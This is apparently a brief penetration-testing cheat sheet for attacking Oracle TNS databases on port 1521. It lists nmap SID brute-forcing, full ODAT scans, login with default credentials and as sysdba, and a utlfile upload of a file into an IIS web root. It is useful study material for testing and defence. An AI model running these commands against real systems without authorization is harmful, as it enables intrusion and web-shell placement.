Oracle TNS - 1521

Nmap

# nmap scan 
sudo nmap -p1521 -sV IP --open

# SID Bruteforcing
sudo nmap -p1521 -sV IP --open --script oracle-sid-brute

ODAT

./odat.py all -s IP

SQLplus - Log In

• SQLplus commands

# Log in using valid creds 
sqlplus scott/tiger@IP/XE;

# Error sqlplus: error while loading shared libraries: libsqlplus.so: cannot open shared object file: No such file or directory
sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf";sudo ldconfig

# Oracle RDBMS - Interaction
select table_name from all_tables;

# Database Enumeration
sqlplus scott/tiger@IP/XE as sysdba

# Oracle RDBMS - File Upload
./odat.py utlfile -s IP -d XE -U scott -P tiger --sysdba --putFile C:\\\\inetpub\\\\wwwroot testing.txt ./testing.txt